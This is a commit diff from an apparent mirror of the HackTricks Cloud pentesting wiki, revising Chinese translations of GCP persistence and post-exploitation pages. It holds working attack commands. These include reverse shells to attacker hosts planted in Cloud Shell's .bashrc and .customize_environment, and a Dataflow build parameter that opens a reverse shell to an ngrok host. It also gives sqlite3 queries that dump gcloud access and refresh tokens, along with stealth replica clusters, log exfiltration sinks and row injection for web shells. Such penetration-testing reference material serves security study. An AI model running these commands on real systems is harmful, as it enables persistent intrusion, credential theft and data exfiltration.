mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# GCP - Bigtable 持久性
|
||||
# GCP - Bigtable 持久化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,11 +10,15 @@
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dedicated attacker App Profile
|
||||
### 专用的攻击者 App Profile
|
||||
|
||||
**Permissions:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
**权限:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
创建一个 app profile,将流量路由到你的 replica cluster,并启用 Data Boost,这样你就不必依赖防御者可能注意到的预配节点。
|
||||
创建一个将流量路由到你的副本集群的 app profile,并启用 Data Boost,这样你就不必依赖防御者可能注意到的预配置节点。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create stealth app profile</summary>
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
只要该配置文件存在,你就可以使用引用它的新凭据重新连接。
|
||||
</details>
|
||||
|
||||
只要该配置文件存在,你就可以使用引用它的新凭证重新连接。
|
||||
|
||||
### 维护你自己的副本集群
|
||||
|
||||
**权限:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
在一个活动较少的区域中部署一个最小节点数的集群。即便你的客户端身份消失,**该集群会保留每个表的完整副本**,直到防御方明确将其删除。
|
||||
在一个低活动区域配置一个节点数最少的集群。即使你的客户端身份消失,**该集群会保留每个表的完整副本**,直到防御者明确删除它为止。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建副本集群</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
通过 `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` 监控它,这样当你需要拉取数据时可以立即扩容。
|
||||
</details>
|
||||
|
||||
### 将复制受限于你自己的 CMEK
|
||||
通过 `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` 监控它,以便在需要拉取数据时可以立即扩展。
|
||||
|
||||
### 将复制置于您自己的 CMEK 之后
|
||||
|
||||
**权限:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt`(在攻击者拥有的密钥上)。
|
||||
|
||||
在启动 clone 时带上你自己的 KMS 密钥。没有该密钥,Google 无法重新创建或对集群执行故障切换,因此 blue teams 在处理之前必须与你协调。
|
||||
在启动克隆时使用您自己的 KMS 密钥。没有该密钥,Google 无法重新创建或对集群进行故障转移,因此 blue teams 在处理之前必须与您协调。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建受 CMEK 保护的集群</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
在你的项目中轮换或禁用该密钥,以立即使副本失效(同时仍允许你稍后重新启用)。
|
||||
</details>
|
||||
|
||||
在你的项目中轮换或禁用该密钥即可立即让副本失效(同时仍允许你稍后重新启用它)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,60 +1,78 @@
|
||||
# GCP - Cloud Shell 持久性
|
||||
# GCP - Cloud Shell 持久化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 持久后门
|
||||
### 持久化 Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) 使您可以直接从浏览器访问云资源的命令行,而无需任何相关费用。
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) 为你提供了从浏览器直接访问云资源的命令行访问,且无需任何相关费用。
|
||||
|
||||
您可以通过 **web 控制台** 或运行 **`gcloud cloud-shell ssh`** 访问 Google 的 Cloud Shell。
|
||||
你可以通过 **web 控制台** 或运行 **`gcloud cloud-shell ssh`** 来访问 Google 的 Cloud Shell。
|
||||
|
||||
这个控制台对攻击者有一些有趣的功能:
|
||||
该控制台对攻击者有一些有趣的能力:
|
||||
|
||||
1. **任何有权访问 Google Cloud 的 Google 用户** 都可以访问一个完全认证的 Cloud Shell 实例(服务账户即使是组织的所有者也可以)。
|
||||
2. 如果没有活动,该实例将 **至少保持其主目录 120 天**。
|
||||
3. 组织 **无法监控** 该实例的活动。
|
||||
1. **Any Google user with access to Google Cloud** 有权限访问一个完全认证的 Cloud Shell 实例(Service Accounts 也可以,甚至组织的 Owners)。
|
||||
2. 如果没有活动,该实例将**至少保留其主目录 120 天**。
|
||||
3. 组织**无法监控**该实例的活动。
|
||||
|
||||
这基本上意味着攻击者可以在用户的主目录中放置一个后门,只要用户每 120 天至少连接一次 GC Shell,后门就会存活,攻击者每次运行时都会获得一个 shell,只需执行:
|
||||
这基本意味着攻击者可以将一个 backdoor 放在用户的主目录中,只要用户每至少 120 天连接一次 GC Shell,backdoor 就会存活,并且攻击者每次运行它时都能获得一个 shell,只需执行:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add reverse shell to .bashrc</summary>
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
在主文件夹中还有另一个文件叫 **`.customize_environment`**,如果存在,将会在用户访问 **cloud shell** 时 **每次执行**(如同之前的技术)。只需插入之前的后门或以下类似的后门,以保持持久性,只要用户“频繁”使用 cloud shell:
|
||||
</details>
|
||||
|
||||
家目录下还有另一个名为 **`.customize_environment`** 的文件,如果存在,每次用户访问 **cloud shell** 时都会被**执行**(如前一个技术所述)。只需插入之前的 backdoor 或者像下面这样的一个,以便在用户“经常”使用 **cloud shell** 时维持 persistence:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建 .customize_environment backdoor</summary>
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
> [!WARNING]
|
||||
> 重要的是要注意,**第一次执行需要身份验证的操作时**,用户的浏览器中会出现一个弹出授权窗口。必须接受此窗口才能运行命令。如果出现意外的弹出窗口,可能会引起怀疑,并可能危及所使用的持久性方法。
|
||||
</details>
|
||||
|
||||
这是从云终端(作为攻击者)执行 `gcloud projects list` 时在浏览器用户会话中查看的弹出窗口:
|
||||
> [!WARNING]
|
||||
> 需要注意的是,**首次执行需要身份验证的操作时**,用户浏览器会弹出授权窗口。必须先接受该窗口,命令才能运行。如果出现意外的弹窗,可能会引起怀疑并有可能暴露所使用的持久化方法。
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
然而,如果用户已经主动使用了云终端,则不会出现弹出窗口,您可以**通过以下方式收集用户的令牌**:
|
||||
然而,如果用户已经主动使用过 Cloud Shell,弹窗将不会出现,你可以**通过以下方式收集该用户的令牌**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>从 Cloud Shell 获取访问令牌</summary>
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### SSH连接的建立方式
|
||||
</details>
|
||||
|
||||
基本上,使用这3个API调用:
|
||||
#### SSH 连接如何建立
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (将使您添加您本地创建的公钥)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (将使您启动实例)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (将告诉您google cloud shell的IP)
|
||||
基本上,使用以下 3 个 API 调用:
|
||||
|
||||
但您可以在[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)找到更多信息。
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (会让你添加在本地创建的公钥)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (会启动该实例)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (会告诉你 google cloud shell 的 IP)
|
||||
|
||||
## 参考文献
|
||||
但你可以在 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) 找到更多信息
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# GCP - Dataflow Persistence
|
||||
# GCP - Dataflow 持久化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
### 内置容器中的隐形持久性
|
||||
### 在构建的容器中的隐形持久化
|
||||
|
||||
按照[**文档中的教程**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates),您可以创建一个新的(例如 python)flex 模板:
|
||||
按照[**官方文档教程**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates),你可以创建一个新的(例如 python)flex 模板:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建带有 backdoor 的 Dataflow flex 模板</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**在构建过程中,您将获得一个反向 shell**(您可以像在前面的示例中那样滥用环境变量或其他设置 Docker 文件以执行任意操作的参数)。此时,在反向 shell 内部,可以**进入 `/template` 目录并修改将要执行的主 Python 脚本的代码(在我们的示例中是 `getting_started.py`)**。在这里设置您的后门,以便每次作业执行时,它都会执行它。
|
||||
</details>
|
||||
|
||||
然后,下次作业执行时,将运行构建的受损容器:
|
||||
**在构建过程中,你会获得一个 reverse shell** (你可以滥用 env variables,就像在之前的例子中,或使用其他参数来设置 Docker file 执行任意内容)。此时,在 reverse shell 中,可以 **进入 `/template` 目录并修改将被执行的主 python 脚本的代码(在我们的示例中这是 `getting_started.py`)**。在这里植入你的 backdoor,这样每次 job 被执行时就会运行它。
|
||||
|
||||
然后,下次该 job 被执行时,构建好的被入侵的 container 就会被运行:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>运行 Dataflow template</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - 日志持久性
|
||||
# GCP - 日志持久化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 日志
|
||||
|
||||
有关日志的更多信息,请参见:
|
||||
在以下位置查找有关日志的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,8 +12,14 @@
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
创建一个接收器,将日志导出到攻击者可访问的目的地:
|
||||
创建一个 sink,将日志外传到攻击者可访问的目的地:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建日志 sink</summary>
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,51 +1,79 @@
|
||||
# GCP - Token Persistence
|
||||
# GCP - 令牌持久化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### 认证用户令牌
|
||||
### 已认证用户令牌
|
||||
|
||||
要获取用户的 **当前令牌**,您可以运行:
|
||||
要获取用户的 **当前令牌**,可以运行:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>从 SQLite 数据库获取访问令牌</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
在此页面查看如何**直接使用此令牌通过gcloud**:
|
||||
</details>
|
||||
|
||||
请查看此页面,了解如何 **通过 gcloud 直接使用此 token**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
要获取**生成新访问令牌**的详细信息,请运行:
|
||||
要获取 **生成新的 access token** 的详细信息,请运行:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>从 SQLite database 中获取 refresh token</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
也可以在 **`$HOME/.config/gcloud/application_default_credentials.json`** 和 **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** 中找到刷新令牌。
|
||||
</details>
|
||||
|
||||
要使用 **刷新令牌**、客户端 ID 和客户端密钥获取新的刷新访问令牌,请运行:
|
||||
也可能在 **`$HOME/.config/gcloud/application_default_credentials.json`** 和 **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** 中找到 refresh tokens。
|
||||
|
||||
要使用 **refresh token**、client ID 和 client secret 获取新的 access token,请运行:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用 refresh token 获取新的 access token</summary>
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
刷新令牌的有效性可以在 **Admin** > **Security** > **Google Cloud session control** 中管理,默认设置为 16 小时,但可以设置为永不过期:
|
||||
</details>
|
||||
|
||||
刷新令牌的有效期可以在 **Admin** > **Security** > **Google Cloud session control** 中管理,默认设置为 16h,不过也可以设置为永不过期:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
### 身份验证流程
|
||||
|
||||
使用类似 `gcloud auth login` 的方式进行身份验证时,浏览器会打开一个提示,接受所有范围后,浏览器将向工具打开的 HTTP 端口发送类似于以下的请求:
|
||||
当使用类似 `gcloud auth login` 的命令进行认证时,会在浏览器中打开提示窗口,接受所有作用域(scopes)后,浏览器会向该工具打开的 http 端口发送类似如下的请求:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
然后,gcloud 将使用状态和代码与一些硬编码的 `client_id` (`32555940559.apps.googleusercontent.com`) 和 **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) 来获取 **最终的刷新令牌数据**。
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,与 localhost 的通信是通过 HTTP 进行的,因此可以拦截数据以获取刷新令牌,但此数据仅有效 1 次,因此这将是无用的,直接从文件中读取刷新令牌更容易。
|
||||
> 请注意,与 localhost 的通信是通过 HTTP 进行的,因此有可能拦截数据以获取 refresh token,然而这些数据仅有效一次,因此这并无太大用处,直接从文件读取 refresh token 更简单。
|
||||
|
||||
### OAuth 范围
|
||||
### OAuth Scopes
|
||||
|
||||
您可以在 [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) 找到所有 Google 范围,或通过执行以下命令获取它们:
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>获取所有 Google OAuth scopes</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
可以使用以下脚本查看**`gcloud`**用于身份验证的应用程序可以支持哪些范围:
|
||||
</details>
|
||||
|
||||
可以使用此脚本查看用于认证的应用程序 **`gcloud`** 可以支持哪些 scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>测试 gcloud 支持的 scopes</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +83,9 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
执行后检查该应用支持以下范围:
|
||||
</details>
|
||||
|
||||
执行后检查该应用支持以下作用域:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,24 +95,24 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
有趣的是,这个应用支持 **`drive`** 范围,这可能允许用户在攻击者设法迫使用户生成具有此范围的令牌时,从 GCP 升级到 Workspace。
|
||||
有趣的是,这个应用支持 **`drive`** scope,这可能允许用户从 GCP 提权到 Workspace,如果攻击者设法强迫用户生成带有该 scope 的 token。
|
||||
|
||||
**检查如何** [**在这里滥用它**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**。**
|
||||
**查看如何** [**滥用此处**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**。**
|
||||
|
||||
### 服务账户
|
||||
### 服务账号
|
||||
|
||||
就像经过身份验证的用户一样,如果您设法 **破坏服务账户的私钥文件**,您将能够 **通常无限期访问它**。\
|
||||
然而,如果您窃取了服务账户的 **OAuth 令牌**,这可能会更有趣,因为即使默认情况下这些令牌仅在一个小时内有效,如果 **受害者删除了私有 API 密钥,OAuth 令牌在过期之前仍然有效**。
|
||||
就像对已认证用户一样,如果你设法**获取服务账号的私钥文件**,通常就可以**长期访问该账号**。\
|
||||
不过,如果你窃取了服务账号的 **OAuth token**,情况可能更有意思,因为即便这些 tokens 默认只在一小时内有效,**如果受害者删除了 private api key,OAuh token 仍会在过期前保持有效**。
|
||||
|
||||
### 元数据
|
||||
|
||||
显然,只要您在 GCP 环境中运行的机器内部,您将能够 **通过联系元数据端点访问附加到该机器的服务账户**(请注意,您可以在此端点访问的 OAuth 令牌通常受范围限制)。
|
||||
显然,只要你在运行于 GCP 环境中的机器内部,你就可以通过访问 metadata endpoint **访问附加在该机器上的 service account**(注意你能在此 endpoint 获取到的 Oauth tokens 通常受 scopes 限制)。
|
||||
|
||||
### 补救措施
|
||||
### 缓解措施
|
||||
|
||||
一些针对这些技术的补救措施在 [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) 中进行了说明。
|
||||
这些技术的一些缓解措施在 [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) 中有说明
|
||||
|
||||
### 参考
|
||||
### References
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - 存储持久性
|
||||
# GCP - 存储持久化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,11 @@
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
您可以创建一个 HMAC 以在存储桶上保持持久性。有关此技术的更多信息 [**请查看这里**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create)。
|
||||
你可以创建一个 HMAC 来在存储桶上保持持久性。有关该技术的更多信息,请[**在此查看**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建并使用 HMAC 密钥以访问 Storage</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -23,11 +27,13 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
另一个针对该方法的利用脚本可以在 [这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) 找到。
|
||||
</details>
|
||||
|
||||
### 给予公共访问
|
||||
另一个 exploit script 用于此方法,可以在 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) 找到。
|
||||
|
||||
**使存储桶公开可访问** 是保持对存储桶访问的另一种方式。查看如何做到这一点:
|
||||
### 赋予公共访问
|
||||
|
||||
**将 bucket 设为公开访问** 是保持对该 bucket 访问的另一种方法。查看如何操作:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
|
||||
+16
-10
@@ -1,10 +1,10 @@
|
||||
# GCP - App Engine Post Exploitation
|
||||
# GCP - App Engine 后渗透
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `App Engine`
|
||||
|
||||
有关 App Engine 的信息,请查看:
|
||||
有关 App Engine 的信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -14,28 +14,34 @@
|
||||
|
||||
拥有这些权限可以:
|
||||
|
||||
- 添加一个键
|
||||
- 列出键
|
||||
- 获取一个键
|
||||
- 添加 key
|
||||
- 列出 key
|
||||
- 获取 key
|
||||
- 删除
|
||||
|
||||
> [!CAUTION]
|
||||
> 然而,我**找不到从 cli 访问此信息的任何方法**,只能从**网络控制台**访问,您需要知道**键类型**和**键名称**,或者从**运行中的应用程序**中获取。
|
||||
> 但是,我**找不到从 cli 访问这些信息的任何方法**,只能从 **web console** 访问,在那里你需要知道 **Key type** 和 **Key name**,或者从正在运行的 **app engine 应用** 中访问。
|
||||
>
|
||||
> 如果您知道更简单的方法来使用这些权限,请发送 Pull Request!
|
||||
> 如果你知道更简单的方法来使用这些权限,请提交 Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
拥有此权限可以**查看应用的日志**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>实时查看应用日志</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
### 读取源代码
|
||||
</details>
|
||||
|
||||
所有版本和服务的源代码都**存储在名为** **`staging.<proj-id>.appspot.com`** **的桶中**。如果您对其具有写入访问权限,您可以读取源代码并搜索**漏洞**和**敏感信息**。
|
||||
### 阅读源代码
|
||||
|
||||
所有版本和服务的源代码都**存储在 bucket**中,名称为 **`staging.<proj-id>.appspot.com`**。如果你对它有写权限,你可以读取源代码并搜索 **vulnerabilities** 和 **敏感信息**。
|
||||
|
||||
### 修改源代码
|
||||
|
||||
修改源代码以窃取凭据(如果它们被发送)或执行网页篡改攻击。
|
||||
修改源代码以窃取正在传送的 credentials,或实施 defacement web attack。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+101
-41
@@ -1,40 +1,56 @@
|
||||
# GCP - Bigtable Post Exploitation
|
||||
# GCP - Bigtable 后期利用
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
关于 Bigtable 的更多信息请参阅:
|
||||
有关 Bigtable 的更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> 通过 Cloud SDK 安装一次 `cbt` CLI,以便下面的命令可以在本地运行:
|
||||
> 通过 Cloud SDK 安装一次 `cbt` CLI,以便下面的命令可在本地运行:
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Install cbt CLI</summary>
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### 读取行
|
||||
|
||||
**权限:** `bigtable.tables.readRows`
|
||||
**权限:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` 随 Cloud SDK 一起提供,可以直接与管理员/数据 APIs 通信,无需任何中间件。将其指向已被入侵的 project/instance,然后直接从表中导出行。如果只需查看部分内容,请限制扫描范围。
|
||||
`cbt` 随 Cloud SDK 一起提供,并可以直接与 admin/data APIs 通信,无需任何中间件。将其指向被攻陷的 project/instance,并直接从表中导出行。如果只想简单查看,请限制扫描范围。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>读取 Bigtable 条目</summary>
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### 写入行
|
||||
|
||||
**权限:** `bigtable.tables.mutateRows`, (你需要 `bigtable.tables.readRows` 来确认更改)。
|
||||
**权限:** `bigtable.tables.mutateRows`(确认更改需要 `bigtable.tables.readRows`)。
|
||||
|
||||
使用相同的工具 upsert 任意单元格。这是 backdoor 配置、drop web shells 或 plant poisoned dataset rows 的最快方式。
|
||||
使用相同的工具 upsert 任意 cells。这是实现 backdoor configs、drop web shells 或 plant poisoned dataset rows 的最快方法。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>注入恶意行</summary>
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` 接受通过 `@/path` 语法的原始字节,因此你可以按下游服务的预期推送编译后的 payloads 或序列化的 protobufs。
|
||||
</details>
|
||||
|
||||
`cbt set` 接受通过 `@/path` 语法传入的原始字节,因此你可以按下游服务预期的方式推送已编译的 payloads 或序列化的 protobufs。
|
||||
|
||||
### 将行导出到你的 bucket
|
||||
|
||||
